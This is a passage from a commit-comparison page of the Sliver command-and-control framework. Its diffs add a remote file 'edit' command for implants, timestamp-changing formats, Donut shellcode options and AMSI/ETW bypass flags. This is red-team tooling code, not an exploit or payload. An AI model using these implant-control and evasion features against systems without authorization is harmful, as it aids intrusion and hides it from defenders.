Compare commits

...
Author SHA1 Message Date
moloch-- 11d6af8aa0 Fix duplicated 'unknown cmd' output 2026-02-01 10:44:38 -08:00
moloch-- 54dc6dcec3 v1.6.10 2026-01-31 17:45:38 -08:00
Joe c7412d4d5b Merge pull request #2154 from BishopFox/go/v1.25.6
Go/v1.25.6
2026-01-31 09:44:33 -07:00
moloch-- c3817dc175 Pin tag patch version Go 1.25.6 2026-01-31 08:20:09 -08:00
moloch-- 09cedf588e Update to go 1.25.6 2026-01-31 08:18:39 -08:00
moloch-- 66aed89ebd Merge master 2026-01-31 08:03:24 -08:00
moloch-- 16397e7a0f Update default runtime arg 2026-01-31 07:53:18 -08:00
moloch-- 5062b483b7 Update wasm-donut 2026-01-31 07:43:21 -08:00
moloch-- b268295c8d Switch to wasm-donut 2026-01-30 22:23:56 -08:00
moloch-- 2b3f23cec9 Move donut options to generate flags 2026-01-30 17:19:57 -08:00
Joe 110658ec39 Merge pull request #2152 from BishopFox/feature/shellcode-encoders
Feature/shellcode encoders
2026-01-30 16:09:46 -07:00
moloch-- e99999ebb6 Cleanup shellcode encoder list output 2026-01-30 14:20:48 -08:00
moloch-- 24795e7cba Update shellcode encode rpc to support new encoders 2026-01-30 14:14:45 -08:00
moloch-- 32e3386a3e Add sgn to unified ShellcodeEncoders 2026-01-30 13:40:16 -08:00
moloch-- 7feea8bef3 Add more shellcode encoders 2026-01-30 13:02:14 -08:00
moloch-- d182434d54 Implement amd64/xor_dynamic shellcode encoder 2026-01-30 12:45:22 -08:00
moloch-- 0237af0c6e Implement amd64/xor_dynamic shellcode encoder 2026-01-30 12:45:08 -08:00
moloch-- 1fa36e46c4 Implement amd64/xor_dynamic shellcode encoder 2026-01-30 12:44:49 -08:00
moloch-- 4d9bae0778 Port basic xor shellcode encoder to golang 2026-01-30 12:28:15 -08:00
moloch-- 9a9b40e400 Move sng to server/encoders/shellcode/sgn 2026-01-30 11:51:57 -08:00
moloch-- d784b305ef Move sng to server/encoders/shellcode/sgn 2026-01-30 11:50:24 -08:00
moloch-- 7a224b4757 Update year 2026-01-30 11:40:58 -08:00
Joe 76ae704ce4 Merge pull request #2151 from BishopFox/feature/xxd
Feature/xxd
2026-01-30 12:06:11 -07:00
moloch-- 71cd8fa610 Skip generate tests if there's no edits to related code 2026-01-30 10:35:16 -08:00
moloch-- e9fdcc1285 Improve hex-edit ux 2026-01-30 10:30:15 -08:00
moloch-- 870c995ae2 Add hexedit feature 2026-01-30 10:20:56 -08:00
Joe 15d7e7c4d1 Merge pull request #2150 from BishopFox/feature/chtimes
Expand time formats supported by chtimes
2026-01-30 10:50:56 -07:00
moloch-- 750cdfce0a Expand time formats supported by chtimes 2026-01-30 09:41:55 -08:00
Joe 0f128a22b3 Merge pull request #1807 from navsec/socks5-stability
SOCKS5 Stability Improvements for HTTP/mTLS Transports
2026-01-30 10:07:13 -07:00
Joe 3296a8f483 Merge branch 'master' into socks5-stability
Signed-off-by: Joe <[email protected]>
2026-01-30 10:07:05 -07:00
Joe b77ade2bb9 Merge pull request #2148 from BishopFox/fix/info
Fix/info
2026-01-30 08:47:32 -07:00
moloch-- 41dc54d736 Implement mount for darwin 2026-01-29 22:22:59 -08:00
moloch-- 8a0694cb38 Add mount on darwin 2026-01-29 22:08:28 -08:00
moloch-- 52c0618bc3 Add os version implementations for linux/darwin 2026-01-29 21:50:16 -08:00
moloch-- e2e1912628 Add search to edit cmd 2026-01-29 21:01:16 -08:00
moloch-- 36794f1b07 Implement skip to line number 2026-01-29 20:50:11 -08:00
moloch-- ccd8f75b03 v1.6.9 2026-01-29 20:36:45 -08:00
moloch-- dc89afe404 Add optional line numbers 2026-01-29 20:32:15 -08:00
moloch-- 9db1f3a967 Add syntax highlighting 2026-01-29 20:22:23 -08:00
moloch-- a2ab3aede6 Implement 'edit' command 2026-01-29 20:07:51 -08:00
Joe 545fc27d03 Merge pull request #2147 from BishopFox/feature/certs-db
Feature/certs db
2026-01-29 09:59:10 -07:00
moloch-- 5bf65aa2b0 Fix notification indentation 2026-01-29 08:51:01 -08:00
Joe 3c46cf2210 Merge branch 'master' into socks5-stability 2025-10-24 11:41:27 -07:00
Ronan Kervella edcdfb5937 Merge branch 'master' into socks5-stability 2024-12-04 09:36:59 -10:00
Ronan Kervella f81efdb38c Merge branch 'master' into socks5-stability 2024-12-02 15:40:40 -08:00
Ronan Kervella db34ded0a1 Merge branch 'master' into socks5-stability 2024-11-18 15:06:32 -08:00
navsec 8a7a92a9b9 Refine implant/server signaling for tunnel closures 2024-11-18 17:02:15 -06:00
navsec 3eda32f9d7 Performance Optimizations and Implant SOCKS Changes 2024-11-17 15:01:04 -06:00
navsec c18c193ea7 Improve SOCKS lifecycle mangement and resolve leak 2024-11-06 23:24:44 -06:00
navsec 79a8758448 SOCKS5 Stability Improvements for HTTP/mTLS 2024-10-31 12:46:40 -05:00
486 changed files with 64347 additions and 5498 deletions

No files matched your search

+1 -1
View File
@@ -44,7 +44,7 @@ jobs:
- name: Go 1.25
uses: actions/setup-go@v6
with:
go-version: "^1.25"
go-version: "1.25.6"
- name: Install Minisign
run: sudo apt-get update --fix-missing && sudo apt-get -y install minisign
+1 -1
View File
@@ -19,7 +19,7 @@ jobs:
- name: Go 1.25
uses: actions/setup-go@v6
with:
go-version: "^1.25"
go-version: "1.25.6"
- name: Checkout repository
uses: actions/checkout@v6
+31 -5
View File
@@ -26,7 +26,7 @@ jobs:
- name: Go 1.25
uses: actions/setup-go@v6
with:
go-version: "^1.25"
go-version: "1.25.6"
- name: OS Packages
run: |
@@ -48,8 +48,21 @@ jobs:
- name: Make Linux (amd64)
run: make linux-amd64
- name: Determine go-tests flags
id: go-tests-flags
shell: bash
run: |
set -euo pipefail
base_sha="${{ github.event.pull_request.base.sha }}"
head_sha="${{ github.sha }}"
if git diff --name-only "$base_sha" "$head_sha" | grep -qE '^(implant/|server/gogo/|server/generate/)'; then
echo "args=" >> "$GITHUB_OUTPUT"
else
echo "args=--skip-generate" >> "$GITHUB_OUTPUT"
fi
- name: Test Linux
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh ${{ steps.go-tests-flags.outputs.args }}
macos-build-test:
@@ -60,7 +73,7 @@ jobs:
- name: Go 1.25
uses: actions/setup-go@v6
with:
go-version: "^1.25"
go-version: "1.25.6"
- name: Check Out Code
uses: actions/checkout@v6
@@ -74,8 +87,21 @@ jobs:
- name: Make MacOS (arm64)
run: make macos-arm64
- name: Determine go-tests flags
id: go-tests-flags
shell: bash
run: |
set -euo pipefail
base_sha="${{ github.event.pull_request.base.sha }}"
head_sha="${{ github.sha }}"
if git diff --name-only "$base_sha" "$head_sha" | grep -qE '^(implant/|server/gogo/|server/generate/)'; then
echo "args=" >> "$GITHUB_OUTPUT"
else
echo "args=--skip-generate" >> "$GITHUB_OUTPUT"
fi
- name: Test MacOS
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh ${{ steps.go-tests-flags.outputs.args }}
clients-build:
name: Clients Build
@@ -85,7 +111,7 @@ jobs:
- name: Go 1.25
uses: actions/setup-go@v6
with:
go-version: "^1.25"
go-version: "1.25.6"
- name: Check Out Code
uses: actions/checkout@v6
+1 -1
View File
@@ -115,7 +115,7 @@ func Setup(force bool, echo bool) {
if force || localVer == "" || localVer != ver.GitCommit {
if echo {
fmt.Printf(`
Sliver Copyright (C) 2025 Bishop Fox
Sliver Copyright (C) 2026 Bishop Fox
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
This is free software, and you are welcome to redistribute it
under certain conditions; type 'licenses' for details.`)
+1
View File
@@ -25,6 +25,7 @@ Shared registration glue, scaffolding, and helpers for Sliver client console com
- `creds/` – Implements the 'creds' command group for the Sliver client console.
- `cursed/` – Implements the 'cursed' command group for the Sliver client console.
- `dllhijack/` – Implements the 'dllhijack' command group for the Sliver client console.
- `edit/` – Implements the 'edit' command for the Sliver client console.
- `environment/` – Implements the 'environment' command group for the Sliver client console.
- `exec/` – Implements the 'exec' command group for the Sliver client console.
- `exit/` – Implements the 'exit' command group for the Sliver client console.
+4 -4
View File
@@ -239,9 +239,9 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien
f.StringP("app-domain", "d", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.StringP("arch", "a", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
f.BoolP("in-process", "i", false, "Run in the current sliver process")
f.StringP("runtime", "r", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows (only supported when used with --in-process)")
f.StringP("runtime", "r", "v4.0.30319", "Runtime to use for running the assembly")
f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows")
f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows")
addAliasCmd.Flags().AddFlagSet(f)
}
@@ -374,7 +374,7 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
}
con.PrintWarnf("%s", msgStr)
confirm := false
_ = forms.Confirm("Do you want to continue?", &confirm)
forms.Confirm("Do you want to continue?", &confirm)
if !confirm {
return
}
+38
View File
@@ -0,0 +1,38 @@
package edit
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the edit command.
func Commands(con *console.SliverClient) []*cobra.Command {
editCmd := &cobra.Command{
Use: consts.EditStr,
Short: "Edit a remote text file",
Long: help.GetHelpFor([]string{consts.EditStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
EditCmd(cmd, con, args)
},
GroupID: consts.FilesystemHelpGroup,
}
flags.Bind("", false, editCmd, func(f *pflag.FlagSet) {
f.String("syntax", "", "syntax highlighting lexer name (optional)")
f.Bool("syntax-select", false, "prompt to select syntax highlighting lexer")
f.Bool("line-numbers", false, "show line numbers")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
carapace.Gen(editCmd).PositionalCompletion(
carapace.ActionValues().Usage("path to the remote file to edit"),
)
return []*cobra.Command{editCmd}
}
+380
View File
@@ -0,0 +1,380 @@
package edit
import (
"context"
"errors"
"fmt"
"sort"
"strings"
"time"
"unicode/utf8"
"github.com/alecthomas/chroma/v2"
"github.com/alecthomas/chroma/v2/lexers"
"github.com/bishopfox/sliver/client/command/filesystem"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
tea "github.com/charmbracelet/bubbletea"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
)
const beaconPollInterval = 1 * time.Second
// EditCmd downloads a remote text file, opens it in a TUI editor, and optionally uploads changes.
func EditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := strings.TrimSpace(args[0])
if remotePath == "" {
con.PrintErrorf("Missing parameter: remote path\n")
return
}
ctx, cancel := con.GrpcContext(cmd)
defer cancel()
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
download, err := downloadRemote(ctx, con, cmd, remotePath)
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if !download.Exists {
con.PrintErrorf("Remote file does not exist: %s\n", remotePath)
return
}
if download.IsDir {
con.PrintErrorf("Remote path is a directory: %s\n", download.Path)
return
}
data := download.Data
if download.Encoder == "gzip" {
data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s\n", err)
return
}
}
if !isText(data) {
con.PrintErrorf("Refusing to edit non-text file: %s\n", download.Path)
return
}
path := download.Path
if path == "" {
path = remotePath
}
lineEnding := detectLineEnding(data)
content := normalizeLineEndings(data)
lexer, lexerName, err := resolveSyntax(cmd, path, string(data))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
showLineNumbers, _ := cmd.Flags().GetBool("line-numbers")
for {
result, err := runEditor(content, path, lexer, lexerName, showLineNumbers)
if err != nil {
con.PrintErrorf("Editor error: %s\n", err)
return
}
content = result.Content
if result.Action == actionNone {
return
}
if !result.Modified {
if result.Action == actionSaveQuit {
con.PrintInfof("No changes to upload for %s\n", path)
}
return
}
switch result.Action {
case actionSaveQuit:
uploadNow, err := confirm("Upload changes to remote file (overwrite)?")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if !uploadNow {
keepEditing, err := confirm("Continue editing?")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if keepEditing {
continue
}
return
}
uploadData := applyLineEnding(content, lineEnding)
if err := uploadEditedContent(cmd, con, path, uploadData); err != nil {
con.PrintErrorf("%s\n", err)
}
return
case actionQuit:
if result.Force {
return
}
discard, err := confirm("Discard changes?")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if discard {
return
}
}
}
}
func runEditor(content, filename string, lexer chroma.Lexer, lexerName string, showLineNumbers bool) (editorResult, error) {
model := newEditorModel(content, filename, lexer, lexerName, showLineNumbers)
program := tea.NewProgram(model, tea.WithAltScreen())
finalModel, err := program.Run()
if err != nil {
return editorResult{}, err
}
editor, ok := finalModel.(*editorModel)
if !ok {
return editorResult{}, fmt.Errorf("unexpected editor state")
}
return editor.result(), nil
}
func downloadRemote(ctx context.Context, con *console.SliverClient, cmd *cobra.Command, path string) (*sliverpb.Download, error) {
download, err := con.Rpc.Download(ctx, &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(cmd),
Path: path,
RestrictedToFile: true,
})
if err != nil {
return nil, err
}
if download.Response != nil && download.Response.Async {
taskID := download.Response.TaskID
download = &sliverpb.Download{}
if err := waitForBeaconTaskResponse(ctx, con, taskID, download); err != nil {
return nil, err
}
}
return download, nil
}
func uploadEditedContent(cmd *cobra.Command, con *console.SliverClient, path string, data []byte) error {
ctx, cancel := con.GrpcContext(cmd)
defer cancel()
uploadData, err := new(encoders.Gzip).Encode(data)
if err != nil {
return err
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Uploading %s ...", path), ctrl)
upload, err := con.Rpc.Upload(ctx, &sliverpb.UploadReq{
Request: con.ActiveTarget.Request(cmd),
Path: path,
Data: uploadData,
Encoder: "gzip",
IsDirectory: false,
Overwrite: true,
})
if err == nil && upload.Response != nil && upload.Response.Async {
taskID := upload.Response.TaskID
upload = &sliverpb.Upload{}
err = waitForBeaconTaskResponse(ctx, con, taskID, upload)
}
ctrl <- true
<-ctrl
if err != nil {
return err
}
filesystem.PrintUpload(upload, con)
return nil
}
func waitForBeaconTaskResponse(ctx context.Context, con *console.SliverClient, taskID string, out proto.Message) error {
task, err := waitForBeaconTask(ctx, con, taskID)
if err != nil {
return err
}
state := strings.ToLower(task.State)
if state != "completed" {
if state == "" {
state = "unknown"
}
return fmt.Errorf("beacon task %s %s", task.ID, state)
}
if len(task.Response) == 0 {
return fmt.Errorf("beacon task %s returned empty response", task.ID)
}
return proto.Unmarshal(task.Response, out)
}
func waitForBeaconTask(ctx context.Context, con *console.SliverClient, taskID string) (*clientpb.BeaconTask, error) {
ticker := time.NewTicker(beaconPollInterval)
defer ticker.Stop()
for {
task, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ID: taskID})
if err != nil {
return nil, err
}
state := strings.ToLower(task.State)
if state == "completed" || state == "failed" || state == "canceled" {
return task, nil
}
select {
case <-ctx.Done():
return nil, ctx.Err()
case <-ticker.C:
}
}
}
func resolveSyntax(cmd *cobra.Command, path string, content string) (chroma.Lexer, string, error) {
syntaxName, _ := cmd.Flags().GetString("syntax")
selectSyntax, _ := cmd.Flags().GetBool("syntax-select")
syntaxName = strings.TrimSpace(syntaxName)
if strings.EqualFold(syntaxName, "auto") {
syntaxName = ""
}
if syntaxName != "" {
if strings.EqualFold(syntaxName, "none") {
return nil, "none", nil
}
lexer := lexers.Get(syntaxName)
if lexer == nil {
return nil, "", fmt.Errorf("unknown syntax lexer: %s", syntaxName)
}
name := lexer.Config().Name
if name == "" {
name = syntaxName
}
return lexer, name, nil
}
if selectSyntax {
options := syntaxOptions()
selection := "auto"
if err := forms.Select("Syntax highlighting", options, &selection); err != nil {
if errors.Is(err, forms.ErrUserAborted) {
return detectSyntax(path, content)
}
return nil, "", err
}
if strings.EqualFold(selection, "none") {
return nil, "none", nil
}
if strings.EqualFold(selection, "auto") {
return detectSyntax(path, content)
}
lexer := lexers.Get(selection)
if lexer == nil {
return nil, "", fmt.Errorf("unknown syntax lexer: %s", selection)
}
name := lexer.Config().Name
if name == "" {
name = selection
}
return lexer, name, nil
}
return detectSyntax(path, content)
}
func detectSyntax(path string, content string) (chroma.Lexer, string, error) {
lexer := lexers.Match(path)
if lexer == nil {
lexer = lexers.Analyse(content)
}
if lexer == nil {
lexer = lexers.Fallback
}
name := lexer.Config().Name
if name == "" {
name = "auto"
}
return lexer, name, nil
}
func syntaxOptions() []string {
names := lexers.Names(true)
sort.Strings(names)
options := make([]string, 0, len(names)+2)
options = append(options, "auto", "none")
options = append(options, names...)
return options
}
func confirm(title string) (bool, error) {
answer := false
if err := forms.Confirm(title, &answer); err != nil {
if errors.Is(err, forms.ErrUserAborted) {
return false, nil
}
return false, err
}
return answer, nil
}
func detectLineEnding(data []byte) string {
if strings.Contains(string(data), "\r\n") {
return "\r\n"
}
return "\n"
}
func normalizeLineEndings(data []byte) string {
content := strings.ReplaceAll(string(data), "\r\n", "\n")
content = strings.ReplaceAll(content, "\r", "\n")
return content
}
func applyLineEnding(content, lineEnding string) []byte {
if lineEnding == "\r\n" {
content = strings.ReplaceAll(content, "\n", "\r\n")
}
return []byte(content)
}
func isText(sample []byte) bool {
const max = 1024
if len(sample) > max {
sample = sample[:max]
}
for i, c := range string(sample) {
if i+utf8.UTFMax > len(sample) {
break
}
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' && c != '\r' {
return false
}
}
return true
}
File diff suppressed because it is too large. Load diff
+77 -10
View File
@@ -19,6 +19,8 @@ package filesystem
import (
"context"
"fmt"
"strconv"
"time"
"github.com/bishopfox/sliver/client/console"
@@ -28,14 +30,77 @@ import (
"google.golang.org/protobuf/proto"
)
const chtimesDefaultLayout = "2006-01-02 15:04:05"
type chtimesTimeFormat struct {
name string
parse func(string) (int64, error)
}
func chtimesParseUnixSeconds(value string) (int64, error) {
parsed, err := strconv.ParseInt(value, 10, 64)
if err != nil {
return 0, err
}
return parsed, nil
}
func chtimesParseUnixMillis(value string) (int64, error) {
parsed, err := strconv.ParseInt(value, 10, 64)
if err != nil {
return 0, err
}
return time.UnixMilli(parsed).Unix(), nil
}
func chtimesParseLayout(layout string) func(string) (int64, error) {
return func(value string) (int64, error) {
parsed, err := time.Parse(layout, value)
if err != nil {
return 0, err
}
return parsed.Unix(), nil
}
}
func chtimesFormatFromFlags(cmd *cobra.Command) (chtimesTimeFormat, error) {
formatFlags := []struct {
flag string
format chtimesTimeFormat
}{
{flag: "unix", format: chtimesTimeFormat{name: "unix", parse: chtimesParseUnixSeconds}},
{flag: "unix-ms", format: chtimesTimeFormat{name: "unix-ms", parse: chtimesParseUnixMillis}},
{flag: "rfc3339", format: chtimesTimeFormat{name: "rfc3339", parse: chtimesParseLayout(time.RFC3339)}},
{flag: "rfc1123", format: chtimesTimeFormat{name: "rfc1123", parse: chtimesParseLayout(time.RFC1123)}},
}
var selected *chtimesTimeFormat
selectedFlag := ""
for _, candidate := range formatFlags {
enabled, _ := cmd.Flags().GetBool(candidate.flag)
if !enabled {
continue
}
if selected != nil {
return chtimesTimeFormat{}, fmt.Errorf("only one time format flag can be used (--%s and --%s are both set)", selectedFlag, candidate.flag)
}
selected = &candidate.format
selectedFlag = candidate.flag
}
if selected == nil {
return chtimesTimeFormat{name: "datetime", parse: chtimesParseLayout(chtimesDefaultLayout)}, nil
}
return *selected, nil
}
// ChtimesCmd - Change the access and modified time of a file on the remote file system.
func ChtimesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
// DateTime layout (https://pkg.go.dev/time)
layout := "2006-01-02 15:04:05"
filePath := args[0]
if filePath == "" {
@@ -43,33 +108,35 @@ func ChtimesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
return
}
atime := args[1]
format, err := chtimesFormatFromFlags(cmd)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
atime := args[1]
if atime == "" {
con.PrintErrorf("Missing parameter: Last accessed time id\n")
return
}
t_a, err := time.Parse(layout, atime)
unixAtime, err := format.parse(atime)
if err != nil {
con.PrintErrorf("%s\n", err)
con.PrintErrorf("Invalid access time (%s): %s\n", format.name, err)
return
}
unixAtime := t_a.Unix()
mtime := args[2]
if mtime == "" {
con.PrintErrorf("Missing parameter: Last modified time id\n")
return
}
t_b, err := time.Parse(layout, mtime)
unixMtime, err := format.parse(mtime)
if err != nil {
con.PrintErrorf("%s\n", err)
con.PrintErrorf("Invalid modified time (%s): %s\n", format.name, err)
return
}
unixMtime := t_b.Unix()
chtimes, err := con.Rpc.Chtimes(context.Background(), &sliverpb.ChtimesReq{
Request: con.ActiveTarget.Request(cmd),
+8
View File
@@ -342,6 +342,14 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
f.Uint32("donut-entropy", 1, "Donut entropy (1=none, 2=random names, 3=random+encrypt) (windows shellcode only)")
f.Bool("donut-compress", false, "Enable Donut compression (aplib) (windows shellcode only)")
f.Uint32("donut-exitopt", 1, "Donut exit option (1=exit thread, 2=exit process, 3=block) (windows shellcode only)")
f.Uint32("donut-bypass", 3, "Donut bypass mode (1=none, 2=abort, 3=continue) (windows shellcode only)")
f.Uint32("donut-headers", 1, "Donut headers handling (1=overwrite, 2=keep) (windows shellcode only)")
f.Bool("donut-thread", false, "Run unmanaged EXE entrypoint as a new thread (windows shellcode only)")
f.Bool("donut-unicode", false, "Use Unicode command line for unmanaged DLL entrypoints (windows shellcode only)")
f.Uint32("donut-oep", 0, "Donut original entry point override (0=default) (windows shellcode only)")
})
}
+63
View File
@@ -409,6 +409,12 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
return "", nil
}
donutConfig, err := parseDonutFlags(cmd, targetOS, configFormat, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return "", nil
}
var tunIP net.IP
if wg, _ := cmd.Flags().GetString("wg"); wg != "" {
uniqueWGIP, err := con.Rpc.GenerateUniqueIP(context.Background(), &commonpb.Empty{})
@@ -480,11 +486,68 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
DebugFile: debugFile,
HTTPC2ConfigName: c2Profile,
DonutConfig: donutConfig,
}
return name, config
}
func parseDonutFlags(cmd *cobra.Command, targetOS string, configFormat clientpb.OutputFormat, con *console.SliverClient) (*clientpb.DonutConfig, error) {
donutEntropy, _ := cmd.Flags().GetUint32("donut-entropy")
donutCompressEnabled, _ := cmd.Flags().GetBool("donut-compress")
donutExitOpt, _ := cmd.Flags().GetUint32("donut-exitopt")
donutBypass, _ := cmd.Flags().GetUint32("donut-bypass")
donutHeaders, _ := cmd.Flags().GetUint32("donut-headers")
donutThread, _ := cmd.Flags().GetBool("donut-thread")
donutUnicode, _ := cmd.Flags().GetBool("donut-unicode")
donutOEP, _ := cmd.Flags().GetUint32("donut-oep")
anyChanged := cmd.Flags().Changed("donut-entropy") ||
cmd.Flags().Changed("donut-compress") ||
cmd.Flags().Changed("donut-exitopt") ||
cmd.Flags().Changed("donut-bypass") ||
cmd.Flags().Changed("donut-headers") ||
cmd.Flags().Changed("donut-thread") ||
cmd.Flags().Changed("donut-unicode") ||
cmd.Flags().Changed("donut-oep")
if targetOS != "windows" || configFormat != clientpb.OutputFormat_SHELLCODE {
if anyChanged {
con.PrintWarnf("Donut options only apply to Windows shellcode, ignoring.\n")
}
return nil, nil
}
if donutEntropy < 1 || donutEntropy > 3 {
return nil, fmt.Errorf("donut-entropy must be between 1 and 3")
}
if donutExitOpt < 1 || donutExitOpt > 3 {
return nil, fmt.Errorf("donut-exitopt must be between 1 and 3")
}
if donutBypass < 1 || donutBypass > 3 {
return nil, fmt.Errorf("donut-bypass must be between 1 and 3")
}
if donutHeaders < 1 || donutHeaders > 2 {
return nil, fmt.Errorf("donut-headers must be 1 or 2")
}
donutCompress := uint32(1)
if donutCompressEnabled {
donutCompress = 2
}
return &clientpb.DonutConfig{
Entropy: donutEntropy,
Compress: donutCompress,
ExitOpt: donutExitOpt,
Bypass: donutBypass,
Headers: donutHeaders,
Thread: donutThread,
Unicode: donutUnicode,
OEP: donutOEP,
}, nil
}
// parseTrafficEncoderArgs - parses the traffic encoder args and returns a bool indicating if traffic encoders are enabled.
func parseTrafficEncoderArgs(cmd *cobra.Command, httpC2Enabled bool, con *console.SliverClient) (bool, []*commonpb.File) {
trafficEncoders, _ := cmd.Flags().GetString("traffic-encoders")
+116 -32
View File
@@ -47,38 +47,44 @@ var (
consts.GenerateStr: generateHelp,
consts.StageListenerStr: stageListenerHelp,
consts.MsfStr: msfHelp,
consts.MsfInjectStr: msfInjectHelp,
consts.PsStr: psHelp,
consts.PingStr: pingHelp,
consts.KillStr: killHelp,
consts.LsStr: lsHelp,
consts.CdStr: cdHelp,
consts.PwdStr: pwdHelp,
consts.CatStr: catHelp,
consts.DownloadStr: downloadHelp,
consts.GrepStr: grepHelp,
consts.HeadStr: headHelp,
consts.TailStr: tailHelp,
consts.UploadStr: uploadHelp,
consts.MkdirStr: mkdirHelp,
consts.RmStr: rmHelp,
consts.ProcdumpStr: procdumpHelp,
consts.ElevateStr: elevateHelp,
consts.RunAsStr: runAsHelp,
consts.ImpersonateStr: impersonateHelp,
consts.RevToSelfStr: revToSelfHelp,
consts.ExecuteStr: executeHelp,
consts.ExecuteAssemblyStr: executeAssemblyHelp,
consts.ExecuteShellcodeStr: executeShellcodeHelp,
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.AliasesStr: loadAliasHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
consts.MountStr: mountHelp,
consts.MsfStr: msfHelp,
consts.MsfInjectStr: msfInjectHelp,
consts.PsStr: psHelp,
consts.PingStr: pingHelp,
consts.KillStr: killHelp,
consts.LsStr: lsHelp,
consts.CdStr: cdHelp,
consts.PwdStr: pwdHelp,
consts.CatStr: catHelp,
consts.EditStr: editHelp,
consts.HexEditStr: hexEditHelp,
consts.DownloadStr: downloadHelp,
consts.GrepStr: grepHelp,
consts.HeadStr: headHelp,
consts.TailStr: tailHelp,
consts.UploadStr: uploadHelp,
consts.MkdirStr: mkdirHelp,
consts.RmStr: rmHelp,
consts.ChtimesStr: chtimesHelp,
consts.ProcdumpStr: procdumpHelp,
consts.ElevateStr: elevateHelp,
consts.RunAsStr: runAsHelp,
consts.ImpersonateStr: impersonateHelp,
consts.RevToSelfStr: revToSelfHelp,
consts.ExecuteStr: executeHelp,
consts.ExecuteAssemblyStr: executeAssemblyHelp,
consts.ExecuteShellcodeStr: executeShellcodeHelp,
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.AliasesStr: loadAliasHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
consts.MountStr: mountHelp,
consts.ShikataGaNai: shikataGaNaiHelp,
consts.ShellcodeEncodersStr: shellcodeEncodersHelp,
consts.ShellcodeEncodersStr + sep + "encode": shellcodeEncodersEncodeHelp,
consts.WebsitesStr: websitesHelp,
consts.ScreenshotStr: screenshotHelp,
@@ -193,6 +199,18 @@ To output a Linux ELF executable file, the following command would be used:
generate --os linux --mtls foo.example.com
[[.Bold]][[.Underline]]++ Donut Shellcode Options ++[[.Normal]]
When generating Windows shellcode (--format shellcode), you can tune Donut:
--donut-entropy 1|2|3 # Entropy: 1=none (default), 2=random names, 3=random+encrypt
--donut-compress 0|1 # Compression: 0=off (default), 1=aplib
--donut-exitopt 1|2|3 # Exit behavior: 1=exit thread (default), 2=exit process, 3=block
--donut-bypass 1|2|3 # Bypass: 1=none, 2=abort on failure, 3=continue (default)
--donut-headers 1|2 # PE headers: 1=overwrite (default), 2=keep
--donut-thread 0|1 # Unmanaged EXE: run entrypoint as a new thread (default 0)
--donut-unicode 0|1 # Unmanaged DLL: pass Unicode command line (default 0)
--donut-oep <uint32> # Override original entry point (0=default)
[[.Bold]][[.Underline]]++ DNS Canaries ++[[.Normal]]
DNS canaries are unique per-binary domains that are deliberately NOT obfuscated during the compilation process.
This is done so that these unique domains show up if someone runs 'strings' on the binary, if they then attempt
@@ -298,9 +316,39 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
rmHelp = `[[.Bold]]Command:[[.Normal]] rm [remote path]
